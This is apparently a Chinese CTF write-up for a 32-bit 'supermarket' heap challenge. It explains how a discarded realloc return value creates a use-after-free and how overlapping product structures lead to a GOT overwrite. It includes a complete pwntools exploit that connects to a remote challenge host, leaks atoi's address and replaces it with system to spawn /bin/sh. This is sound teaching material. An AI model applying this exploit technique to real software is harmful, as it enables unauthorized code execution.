首先检查保护机制
然后运行一下
是一个菜单题,接着往下看
可以看到,选项3会按行打印出每个商品的信息,在des.后面就是商品的description
接着IDA分析
首先看看sub_8048864()
sub_8048812就是读入一串字符串到nptr,这一块并没有溢出点,但是这里并不是以%d的方式输入数字,而是先输入字符串然后用atoi函数转换,如果能够修改atoi的got表为system并且输入/bin/sh那么我们的目的便达成了。接着往下看,看能不能实现这个目标。
接着看case1:
这里s2便保存的是商品信息,并且s2是全局变量,最多保存16个商品,并且s2每个元素都是指针类型,每个元素均为结构体指针,结构体的和s2定义大致为:
typedef struct Node {
char name[16]; //16字节
int price; //4字节
int description_size; // 4字节
char *description; //4字节
}Node;
Node *s2[16];
这个case1的执行逻辑为,首先检查16个指针是否为空,若都不空,则商品空间已满,提示no more space,然后输入name, price, description_size, description等信息, name不能有重复。
而内存分配大致如下图所示
看到这里我们可以知道一般description是指向一块堆内存区域,如果我们能直接把它修改为指向atoi的got表的指针那么我们就能通过sub84EFF来修改description的内容为system的got。
怎么做到呢?如果能让一个Node0的description指向另一个Node2,并且把Node0的description的值设置为'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
即,16字节表示字符串0000000000002(name),4字节表示price,4字节表示size(此处为0x20),4字节为Node2的description指向的地址。
这样我们就通过给Node0的decription赋值来达到修改Node2的decription指向got表的目的
货物数据的大小为 0x1c ,由于这是32位程序,其分配到的实际块大小为 (0x1c + 0x4) align to 0x8 = 0x20 ,也就是我们需要让该0x20大小的Node2从free()掉的内存来进行分配,就可使用上述的漏洞。
接着看case2 - case5,在case5中发现了调用realloc函数没有返回的情况,这里存在uaf漏洞
realloc函数作用大概如下:
1)如果当前内存段后面有需要的内存空间,则直接扩展这段内存空间,realloc()将返回原指针。
2)如果当前内存段后面的空闲字节不够,那么就使用堆中的第一个能够满足这一要求的内存块,将目前的数据复制到新的位置,并将原来的数据块释放掉,返回新的内存块位置。
3)如果申请失败,将返回NULL,此时,原来的指针仍然有效。
换句话说,想要利用这个漏洞,就必须保证realloc后的起始地址跟realloc之前的起始地址不一样,那么只有当前的堆块后面紧接着另一个已分配内存空间并且realloc更大size才能触发这个漏洞
这里涉及到c语言堆内存的分配(涉及到我的知识盲区了,什么fastbin, unsorted bin不太了解),先上exp:
from pwn import *
from LibcSearcher import *
#sh = process('./supermarket')
sh = remote('220.249.52.133', 52437)
elf = ELF('./supermarket')
atoi_got = elf.got['atoi']
def create(index, size, content):
sh.sendlineafter('your choice>>', '1')
sh.sendlineafter('name:', str(index))
sh.sendlineafter('price:', '10')
sh.sendlineafter('descrip_size:', str(size))
sh.sendlineafter('description:', content)
def delete(index):
sh.sendlineafter('your choice>>', '2')
sh.sendlineafter('name:', str(index))
def show():
sh.sendlineafter('your choice>>', '3')
def edit(index, size, content):
sh.sendlineafter('your choice>>', '5')
sh.sendlineafter('name:', str(index))
sh.sendlineafter('descrip_size:', str(size))
sh.sendlineafter('description:', content)
if __name__ == '__main__':
# node0
create(0, 0x80, 'a' * 0x10)
# node1,只用来做分隔作用,防止块合并
create(1, 0x20, 'b' * 0x10)
# realloc node0->description
# 注意不要加任何数据,因为我们发送的数据写入到的是一个被free的块(仔细思考一下这句话),这会导致后面malloc时出错
edit(0, 0x90, '')
# 现在node2将被分配到node0的原description处
create(2, 0x20, 'd' * 0x10)
payload = b'2'.ljust(16, b'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
# 由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1
# 因此edit(0)就是编辑node2的结构体,我们通过修改,把node2->description指向atoi的got表
edit(0, 0x80, payload)
# 泄露信息
show()
sh.recvuntil('2: price.20, des.')
# 泄露atoi的加载地址
atoi_addr = u32(sh.recvuntil('\n').split(b'\n')[0].ljust(4, b'\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
# 修改atoi的表,将它指向system
edit(2, 0x20, p32(system_addr))
# getshell
sh.sendlineafter('your choice>>', '/bin/sh')
sh.interactive()
解释一下:
create(0,0x80,'a'*0x10)建立Node0,decription块的大小为0x80(大小不得小于0x80)
create(1,0x20,'b'*0x10)建立Node1,防止Node0->description后面有连续空间
edit(0,0x90,'')释放Node0->description
create(2, 0x20, 'd' * 0x10)建立Node2,Node2的空间即Node0->description指向的空间,
此时内存空间大致如图所示:
而发送payload之后的内存空间为:
所以当我们puts(Node->description)时会泄露atoi的地址,这样就可以计算system的地址了,
而当我们edit(Node2->description)时,会修改atoi的got地址,把它改为system的got地址,当调用atoi时就会实际执行system函数。这样即可拿到shell
总结:
1.首先得想办法修改atoi的got地址,这样atoi("/bin/sh")等同于system("/bin/sh")
2.我们可以通过让Node0->description指向Node2,通过修改Node0->description的值从而修改Node2->description指向的内存区域。(指向atoi的got地址)从而泄露atoi的地址并修改它为system的got地址
3.整个程序的关键在realloc函数,让realloc先释放Node0->description指向的内存空间并新申请一片区域,这样Node0->description指向了一片空区域,然后将这片空区域分配给Node2,这样达到Node0->description = Node2的目的。
4.这涉及到的堆内存分配规则我不太熟悉,欢迎大佬们来赐教